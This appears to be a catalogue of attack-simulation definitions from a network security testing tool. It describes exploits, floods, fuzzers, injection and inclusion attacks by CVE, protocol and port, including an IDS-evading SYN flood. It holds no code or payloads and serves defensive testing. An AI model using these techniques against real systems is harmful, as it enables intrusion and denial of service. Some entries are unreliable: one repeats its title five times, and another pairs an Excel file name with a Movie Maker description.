OSVDB:	100015
Threat File Name:	FSC20040227-03_ServU_Timezone_MDTM_BO.xml
Executive Description:	ServU Timezone MDTM BO
Detailed Description:	Serv-U FTP server, a popular Windows FTP server, is vulnerable to a buffer overflow. Serv-U FTP server, versions 5.0.0.4 and prior, do not correctly validate input when an FTP MDTM command is run. An attack using this vulnerability can give an attacker SYSTEM privileges on the remote server.
Protocol Type:	FTP
CVEID:	CVE-2004-0330
Threat Package:	Standard
Threat File Name:	TSL20170228-03_Foxit_PDF_Reader_JBIG2_Symbol_Dictionary_Out_of_Bounds_Read_IPv6.xml
Executive Description:	Foxit PDF Reader JBIG2 Symbol Dictionary Out of Bounds Read (IPv6 Version)
Detailed Description:	An out-of-bounds vulnerability has been reported in the JBIG2 component of Foxit PDF Reader. This vulnerability is due to improper processing of Symbol Dictionary segment in an embedded JBIG2 image. A remote attacker could exploit this vulnerability by enticing a victim user to visit a malicious web page or open a crafted PDF document. Successful exploitation could result in disclosure of information which could be used to further compromise the target system.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPv6
CVEID:	CVE-2016-8334
Threat File Name:	TSL20160428-06_Adobe_Flash_Player_copyPixels_Integer_Overflow_IPv6.xml
Executive Description:	Adobe Flash Player copyPixels Integer Overflow (IPv6 version)
Detailed Description:	A heap buffer overflow exists in Adobe Flash Player. The vulnerability is due to an integer overflow when calculating a size in copyPixels(). A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-1010
Threat File Name:	FSC20070612-11_Microsoft_Visio_Packed_Object_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Visio Packed Object Parsing Memory Corruption (IPv6 Version)
Detailed Description:	A remote code-execution vulnerability exists in Microsoft Visio. The vulnerability is due to incorrectly handling the parsing of a packed object. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Microsoft Visio file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0936
Threat Package:	Standard
Threat File Name:	asterisk_chan_skinny_dos_IPv6.xml
Executive Description:	Asterisk < 1.2.22 / 1.4.8 / 2.2.1 chan_skinny Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends crafted packet, which results in an "overly large memcopy." in the Skinny channel driver (chan_skinny) in Asterisk. The packet is sent to a vulnerable Asterisk appliance on port 2000. (IPv6 Version)
Protocol Type:	RTP/IPv6
CVEID:	CVE-2007-3764
Threat Package:	Standard
Threat File Name:	ArpBroadcast.xml
Executive Description:	ARP Broadcast Spoof
Detailed Description:	This threat sends out a broadcast ARP packet, spoofing another MAC / IP address. Allows an attacker to receive information bound for another computer. Can also be used to deny service to victim computer.
Protocol Type:	ARP
CVEID:	CVE-1999-0667
OSVDB:	11169
Threat Package:	Standard
Threat File Name:	FSC20090512-14_Microsoft_Office_PowerPoint_2000_File_Parsing_Buffer_Overflow.xml
Executive Description:	Microsoft Office PowerPoint 2000 File Parsing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office PowerPoint. The flaw is due to boundary error when processing crafted PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1131
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_OCTET_formatn.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_OCTET_formatn.xml
Detailed Description:	Fuzzes Mode field by appending %n to octet with ranging sizes. OpCode is RRQ.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	yourfreescreamer_rfi.xml
Executive Description:	YourFreeScreamer 1.0 (serverPath) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. YourFreeScreamer is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3271
Threat Package:	Standard
Threat File Name:	oneSNMP_IPv6.xml
Executive Description:	SNMP Probe OID: 1 (IPv6 Version)

Detailed Description:	This threat sends an SNMP get-next request with a OID of 1. May indicate that someone is trying to glean as much possible information from the system by requesting such a large dataset. (IPv6 Version)
Protocol Type:	SNMP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20071211-15_Microsoft_Internet_Explorer_DOM_Object_Cache_Management_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer DOM Object Cache Management Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles uninitialized or removed objects. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5344
Threat Package:	Standard
Threat File Name:	ned_xss_IPv6.xml
Executive Description:	Nokia Electronic Documentation Cross Site Scripting (IPv6 Version)
Detailed Description:	This threat attempts to cause a cross site scripting attack on a Nokia Electronic Documentation web server. Can be used to execute Javascript with the user's permissions on the website they are viewing. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0801
OSVDB:	3483
Threat Package:	Standard
Threat File Name:	firefox_javahandler_dos_IPv6.xml
Executive Description:	Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious web server reply to crash a Mozilla Firefox Web browser to crash via a large XML string. Mozilla Firefox is a application that typically connects to web servers on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130131-07_Novell_GroupWise_Client_ActiveX_gwabdlg_dll_Untrusted_Pointer_Dereference_IPv6.xml
Executive Description:	Novell GroupWise Client ActiveX gwabdlg.dll Untrusted Pointer Dereference(IPV6 version)
Detailed Description:	An untrusted pointer dereference vulnerability exists in the InvokeContact() and GenerateSummaryPage() functions in the gwabdlg.dll component of Novell GroupWise Client for Windows. These functions can be called using an ActiveX control. This vulnerability can be exploited by remote attackers by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-0804
OSVDB:	89699
Threat File Name:	TSL20111026-03_Google_Chrome_and_Apple_Safari_Ruby_Before_And_After_Blocks_Memory_Corruption.xml
Executive Description:	Google Chrome and Apple Safari Ruby Before And After Blocks Memory Corruption
Detailed Description:	A memory corruption vulnerability exists within Apple WebKit, a component of Apple Safari and Google Chrome web browsers, as well as Apple iTunes. This vulnerability is due to incorrect handling of display: and counter-reset: properties within ruby:before and ruby:after style sheet blocks. Remote attackers may exploit these vulnerabilities by enticing target users to visit a specially crafted web page. Successful exploitation would allow injection and execution of arbitrary code within the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1440
Threat File Name:	MS02-045.xml
Executive Description:	SMBNuke Attack
Detailed Description:	This threat causes a vulnerable Windows machine to crash by sending a malicious SMB request. This threat travels over the NetBIOS Session Service, which is typically port 139.
Protocol Type:	NETBIOS_SS
CVEID:	CVE-2002-0724
OSVDB:	2074
Threat Package:	Standard
Threat File Name:	wtools_rfi.xml
Executive Description:	WTools v0.0.1-ALPH - Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WTools is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sip_dos.xml
Executive Description:	SIP Flood
Detailed Description:	This threat sends out a flood of SIP INVITE messages attempting to cause a denial of service on SIP equipment. SIP typically listens on port 5060.
Protocol Type:	SIP
Threat Package:	Standard

Threat File Name:	ikescan.xml
Executive Description:	ike-scan First Attempt
Detailed Description:	This threat mimics the first packet sent out by the ike-scan utility. ike-scan is used to enumerate VPNs and crack shared secrets. ISAKMP (the protocol used) is typically from source and destination ports 500, which is set in this threat.
Protocol Type:	ISAKMP
Threat Package:	Standard
Threat File Name:	FSC20110208-20_Microsoft_Excel_Office_Drawing_Layer_Remote_Code_Execution.xml
Executive Description:	Microsoft Excel Office Drawing Layer Remote Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Excel. The vulnerability is due to a use-after-free error while handling sOffice drawing objects. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0977
Threat File Name:	web-inf.xml
Executive Description:	WEB-INF Directory Contents Listing
Detailed Description:	This threat attempts to list the files contained in the WEB-INF directory, which should not normally be accessible with a J2EE web server. J2EE web servers typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2002-1855
Threat Package:	Standard
Threat File Name:	TSL20160630-07_WECON_LeviStudio_HmiSet_Type_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	WECON LeviStudio HmiSet Type Stack Buffer Overflow (IPv6 version)
Detailed Description:	A stack buffer overflow vulnerability has been reported in WECON LeviStudio. The vulnerability is due to improper parsing of XML HmiSet Type attribute of LeviStudio project files. A remote attacker could exploit this vulnerability by enticing a user to open a crafted project file. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user process.
Protocol Type:	HTTP, IPv6
Threat File Name:	FSC20090811-05_Microsoft_Active_Template_Library_Remote_Code_Execution.xml
Executive Description:	Microsoft Active Template Library Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists in the Microsoft Active Template Library. The vulnerability is due to an error in the IPersistStreamInit interface when executing the Load method. Remote attackers can exploit this issue by enticing target users to visit a malicious web page. Successful exploitation could potentially cause arbitrary code to be injected and executed in the security context of the current logged on user. In this case, the behaviour of the target machine is dependent on the intention of the malicious code. In the event of an unsuccessful attack, the application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-0020
Threat Package:	Standard
Threat File Name:	InternetExplorerSearchXSS.xml
Executive Description:	Internet Explorer XSS Injection Through Searchbar
Detailed Description:	This threat attempts to insert Javascript into the search bar, causing code to be executed with full rights of the user. Can be used to steal user data or run arbitrary programs. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2003-0816
OSVDB:	3099
Threat Package:	Standard
Threat File Name:	TSL20170711-25_Microsoft_Internet_Explorer_CVE-2017-8594_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2017-8594 Memory Corruption
Detailed Description:	A memory corruption exists in Microsoft Internet Explorer. This vulnerability is due to improper use of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-8594
Threat File Name:	TSL20110728-02_CA_ARCserve_D2D_GWT_RPC_Request_Credentials_Disclosure.xml
Executive Description:	CA ARCserve D2D GWT RPC Request Credentials Disclosure
Detailed Description:	A code execution vulnerability exists in CA ARCserve D2D. The vulnerability is due to an information disclosure while processing Google Web Toolkit (GWT) RPC requests. When the software is installed, the administrator credentials are stored in clear text in a file with fixed name. A remote attacker can leverage this vulnerability to download this not properly secured file from a target system, and later log in using the acquired credentials.
Protocol Type:	ARCserve D2D
Threat File Name:	novell_zenworks_heap.xml
Executive Description:	Novell ZENworks Desktop Agent Buffer Overflow
Detailed Description:	This threat causes a heap overflow in the Novell ZENworks Desktop Agent. This can be used to gain remote access to the target's computer. Novell ZENworks typically listens on port 1761.
Protocol Type:	Proprietary
CVEID:	CVE-2005-1543
OSVDB:	16698
Threat Package:	Standard
Threat File Name:	FSC20081209-13_Microsoft_Windows_search-ms_Protocol_Handler_Command_Execution.xml

Executive Description:	Microsoft Windows search-ms Protocol Handler Command Execution
Detailed Description:	There exists a command execution vulnerability in Microsoft Windows. The vulnerability is due to a design error in Windows Explorer in the way it handles search queries provided by the search-ms protocol handler. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted web page. Successful exploitation would allow for arbitrary command execution in the security context of the currently logged on user. If an attack results in successful code injection and its subsequent execution, the behaviour of the target host will depend on the intention of the attacker. Note that any command execution will be within the security context of the currently logged on user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4269
Threat Package:	Standard
Threat File Name:	jshop_rfi_IPv6.xml
Executive Description:	Jshop Server 1.3 (fieldValidation.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. JShop is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0232
Threat Package:	Standard
Threat File Name:	TSL20140324-04_Microsoft_Word_RTF_listoverridecount_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Word RTF listoverridecount Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Word. The vulnerability is due to improper handling of structures when parsing a specially crafted RTF document. Remote, unauthenticated attackers could exploit this vulnerability by enticing the target user to open a specially crafted RTF file. Successful exploitation could allow the attacker to execute arbitrary code, or terminate the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,IPV6
CVEID:	CVE-2014-1761
OSVDB:	104895
Threat File Name:	TSL20130910-12_Microsoft_Excel_CVE-2013-1315_Memory_Corruption.xml
Executive Description:	Microsoft Excel CVE-2013-1315 Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to an unknown error when parsing content in Excel files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2013-1315
OSVDB:	97131
Threat File Name:	mininuke_sqli.xml
Executive Description:	MiniNuke Multiple Input Validation Vulnerabilities
Detailed Description:	This threat sends a crafted query containing a SQL statement which is executed by the server with its permissions. MiniNuke is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1362
OSVDB:	23438
Threat File Name:	FSC20080918-06_Macrovision_InstallShield_Update_Service_Agent_ActiveX_Memory_Corruption.xml
Executive Description:	Macrovision InstallShield Update Service Agent ActiveX Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Macrovision InstallShield Update Service ActiveX control implemented in isusweb.dll. The vulnerability is due to a design error while processing calls to a method of the ActiveX control. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be injected and executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-2470
Threat Package:	Standard
Threat File Name:	FSC20070109-16_Microsoft_Excel_Column_Record_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Column Record Handling Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing the Column field in several record types in Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0030
Threat Package:	Standard
Threat File Name:	MailCarrier_HELO.xml
Executive Description:	MailCarrier HELO Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the MailCarrier application. This is done by specifying a long option after the HELO verb. This threat will attempt to create a listening shell on port 101. MailCarrier is an SMTP server, and typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2004-1638
OSVDB:	11174
Threat Package:	Standard
Threat File Name:	phpbbguestbook_cmi.xml
Executive Description:	phpBB advanced guestbook mod - Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query which allows arbitrary inclusion of PHP or HTML code via the phpbb_root_path parameter. phpBB is a web application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2152

Threat Package:	Standard
Threat File Name:	randshop_rfi.xml
Executive Description:	Randshop Header.Inc.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Randshop is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-3375
Threat Package:	Standard
Threat File Name:	movieplay_lst_rbof.xml
Executive Description:	MoviePlay LST File Handling Buffer Overflow Vulnerability
Detailed Description:	This threat demonstrates a flaw in the MoviePlay media application via a malicious .LST file, resulting in code execution on the affected machine. This file is delivered via an emulated http server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0016
OSVDB:	32547
Threat Package:	Standard
Threat File Name:	hibyeflood_IPv6.xml
Executive Description:	SIP HI-BYE Flood (IPv6 Version)
Detailed Description:	This threat sends out a flood of SIP INVITE followed by BYE packets, attempting to overwhelm either a PBX or a VoIP phone. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	SYN_URG_flood_IPv6.xml
Executive Description:	Urgent SYN Flood (IPv6 Version)
Detailed Description:	The urgent flag causes data to be immediately processed. A TCP SYN flood with the URG flag designated is known to evade IDS/IPS systems whose function is to defend against resource exhaustive attacks such as a SYN flood. The normal 3-way handshake for establishing a TCP session between the client and server involves the client sending a TCP SYN packet, the server receiving this packet and opening a socket connection for that user and sending a TCP SYN/ACK packet in return. At this point the server waits, with an open connection for the client to send a TCP ACK to confirm the session. This threat is executed by sending many TCP SYN packets with the URG bit set to the targeted machine from a spoofed source address. This will result in the target opening connections until its resources have been exhausted. This will result in a denial of service for all legitimate users. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	wmp_mp4_bof.xml
Executive Description:	Windows Media Player 6.4 MP4 File Stack Overflow Vulnerability
Detailed Description:	This threat downloads a malformed mp4 file to Demonstrate a buffer overflow in Microsoft Windows Media player. This threat is delivered via web page listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	IGRPregflood_IPv6.xml
Executive Description:	IGRP Request Flood (IPv6 Version)
Detailed Description:	This threat sends a flood of multicast IGRP requests asking for routers to reply with the contents of their routing table. Not only does this reveal the details of the routing tables, it can also overwhelm the routers and cause denial of service. (IPv6 Version)
Protocol Type:	IGRP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120710-02_Microsoft_Internet_Explorer_Loop_Counter_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Loop Counter Memory Corruption
Detailed Description:	A vulnerability exists Microsoft Internet Explorer, which can allow an attacker to corrupt memory. The vulnerability is due to an error in the way Internet Explorer accesses certain objects. A remote attacker can exploit this vulnerability by enticing a user to view a specially crafted web page or embed an ActiveX control marked "safe for initialization" in an application or Microsoft Office document that hosts the IE rendering engine. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1522
OSVDB:	83653
Threat File Name:	axis_camera_activex_bof.xml
Executive Description:	AXIS Camera Control (AxisCamControl.ocx v. 1.0.2.15) Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the AXIS Camera ActiveX application, resulting in the execution arbitrary code. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2239
Threat Package:	Standard
Threat File Name:	TSL20160913-30_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3351_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3351 Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to a design weakness in the affected application. A remote attacker can exploit this vulnerability by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3351
Threat File Name:	TSL20091106-03_Google_Chrome_Multiple_File_Type_Security_Bypass.xml
Executive Description:	Google Chrome Multiple File Type Security Bypass

Detailed Description:	A security bypass vulnerability exists in Google Chrome. The vulnerability is due to a design weakness within Chrome's automatic download navigation component. A remote attacker could exploit this vulnerability by enticing a target user to visit a malicious web page using the affected application. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user.						
Protocol Type:	HTTP,HTTPS,FTP						
Threat File Name:	TSL20150414-29_Microsoft_Internet_Explorer_SVG_Marker_Object_Use_After_Free.xml						
Executive Description:	Microsoft Internet Explorer SVG Marker Object Use After Free.						
Detailed Description:	A use after free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an issue with dangling pointer reuse through the manipulation of document elements. A remote unauthenticated attacker could exploit this vulnerability by enticing a user into opening a specially crafted page. Successful exploitation could lead to arbitrary code execution under the security context of the browser process.						
Protocol Type:	HTTP/HTTPS						
CVEID:	CVE-2015-1668						
OSVDB:	120622						
Threat File Name:	TSL20110721-06_Oracle_Outside_In_CorelDRAW_File_Parser_Stack_Buffer_Overflow.xml						
Executive Description:	Oracle Outside In CorelDRAW File Parser Stack Buffer Overflow						
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling CorelDRAW (.cdr) files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed .cdr file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.						
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS						
CVEID:	CVE-2011-2264						
Threat File Name:	TSL20130930-05_SolarWinds_Orion_Pepco32c_ActiveX_Control_Buffer_Overflow_IPv6.xml						
Executive Description:	SolarWinds Orion Pepco32c ActiveX Control Buffer Overflow(IPv6 Version)						
Detailed Description:	A heap-based buffer overflow vulnerability exists in SolarWinds Orion Server and Application Monitor. The vulnerability is due to insufficient bounds checking on the PEstrargl parameter of the Pepco32c control. The application copies the parameter into a fixed size buffer, which can be overflowed. The vulnerable ActiveX control is part of the Gigasoft ProEssentials library embedded in SolarWinds Orion to provide charting functionality. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website. Successful exploitation could allow arbitrary code execution within security context of the target user. The vendor, SolarWinds, has not released a patch for this vulnerability at the time of writing.						
Protocol Type:	HTTP,HTTPS,IPV6						
OSVDB:	97661						
Threat File Name:	firefox_javahandler_dos.xml						
Executive Description:	Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability Mozilla Firefox JavaScript Handler Race Condition Memory Corruption Vulnerability						
Detailed Description:	This threat uses a malicious web server reply to crash a Mozilla Firefox Web browser to crash via a large XML string. Mozilla Firefox is a application that typically connects to web servers on port 80.						
Protocol Type:	HTTP						
Threat Package:	Standard						
Threat File Name:	FSC20101214-35_Microsoft_Office_CGM_Image_Converter_Buffer_Overflow_IPv6.xml						
Executive Description:	Microsoft Office CGM Image Converter Buffer Overflow (IPv6 Version)						
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office allocates a buffer size when handling CGM image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. Successful exploitation would allow an attacker to execute arbitrary code in the security context of the logged in user. An unsuccessful attack could cause an abnormal termination of the affected product.						
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS						
CVEID:	CVE-2010-3945						
Threat File Name:	broadcast_email_sqli.xml						
Executive Description:	1-2-All Broadcast E-mail /admin/index.php Username Field SQL Injection						
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. 1-2-All Broadcast E-mail is a web application that typically listens on port 80.						
Protocol Type:	HTTP						
CVEID:	CVE-2005-3679						
OSVDB:	20949						
Threat File Name:	deluxeBB_rfi_IPv6.xml						
Executive Description:	DeluxeBB Remote file include vulnerability (IPv6 Version)						
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. DeluxeBB is a web application that typically listens on port 80 (IPv6 Version)						
Protocol Type:	HTTP/IPv6						
CVEID:	CVE-2006-2914						
OSVDB:	26458						
Threat Package:	Standard						
Threat File Name:	FSC20060314-10_Microsoft_Excel_Malformed_Graphic_Code_Execution.xml						
Executive Description:	Microsoft Excel Malformed Graphic Code Execution						
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is caused by improper sanitization of EXCEL graphic records in Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user.						
Protocol Type:	HTTP						
CVEID:	CVE-2006-0030						
Threat Package:	Standard						

Threat File Name:	FSC20040308-01_HTTP_Response_Splitting_IPv6.xml
Executive Description:	HTTP Response Splitting (IPv6 Version)
Detailed Description:	A technique has been disclosed permitting attack upon web clients via web-based applications and web caches. This technique is known as "HTTP response splitting." This vulnerability affects a wide variety of systems and software using the HTTP protocol, including most of the most widely deployed Web server software products. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060309-03_Microsoft_Internet_Explorer_IsComponentInstalled_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Internet Explorer IsComponentInstalled Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the IsComponentInstalled function of Microsoft Internet Explorer. The flaw is caused by a lack of length verification checks of parameters passed to the affected function. A remote attacker can exploit this vulnerability by enticing a user to visit a specially crafted web page, which may lead to the injection of arbitrary code that will be executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1016
Threat Package:	Standard
Threat File Name:	FSC20070116-20_Sun_Microsystems_Java_GIF_File_Handling_Memory_Corruption.xml
Executive Description:	Sun Microsystems Java GIF File Handling Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Sun Microsystems Java Development Kit (JDK), Java Runtime Environment (JRE), and Software Developers Kit (SDK). The vulnerability is caused due to improper checking of the image width when parsing GIF files. A remote attacker may leverage this vulnerability to inject and execute arbitrary code on the target host, in the context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0243
Threat Package:	Standard
Threat File Name:	FSC20060718-04_Microsoft_PowerPoint_PPT_File_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft PowerPoint PPT File Parsing Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft PowerPoint. The flaw is caused by insufficient checks of a malformed Record contained within a PowerPoint file. An attacker can exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-3656
Threat Package:	Standard
Threat File Name:	ciscoMalsNMP2.xml
Executive Description:	Cisco IOS Solicited SNMP Message Crash
Detailed Description:	This threat fires a solicited SNMP message to port 162 of the target machine. This will cause a crash/reboot in older versions of Cisco IOS.
Protocol Type:	SNMP
CVEID:	CVE-2004-0714
OSVDB:	5575
Threat Package:	Standard
Threat File Name:	postnuke_sql_i_Pv6.xml
Executive Description:	PostNuke pnFlashGames Module v1.5 REmote SQL Injection (IPv6 Version)
Detailed Description:	This threat demonstrates a standard SQL injection attack against PostNuke's pnFlashGames module, this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150331-10_Multiple_SolarWinds_Orion_GetAccounts_SQL_Injections.xml
Executive Description:	Multiple SolarWinds Orion GetAccounts SQL Injections.
Detailed Description:	Multiple SQL injection vulnerabilities have been reported in SolarWinds products which use the Orion management system. These vulnerabilities are due to insufficient validation of certain parameters when processed by GetAccounts(). A remote attacker can exploit these vulnerabilities to inject and execute arbitrary SQL code on the affected system. Tester should set the variable \$destPort to 8787 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-9566
OSVDB:	118746
Threat File Name:	FSC20100810-27_Microsoft_Office_Excel_Pivot_Item_Index_Boundary_Error_Memory_Corruption.xml
Executive Description:	Microsoft Windows Movie Maker MediaClipString Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows Movie Maker. The flaw is due to a boundary error in the way the affected product handles specially crafted MediaClipString data in a Movie Maker project file. A remote attacker can leverage this vulnerability by enticing a target user to open a malicious project file (.MSWMM).
	A successful attack can result in the injection and execution of arbitrary code on a target system. The resulting code would execute within the security context of the logged in user. In an unsuccessful attack, the affected application may abnormally terminate.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS
CVEID:	CVE-2010-2562
Threat Package:	Standard
Threat File Name:	iphoto_xml_fmt.xml
Executive Description:	iPhoto Photocast XML Title Format String Vulnerability
Detailed Description:	This threat sends a maliciously constructed iPhoto XML feed which takes advantage of a format string vulnerability in some versions of iPhoto.
Protocol Type:	HTTP
Threat Package:	Standard
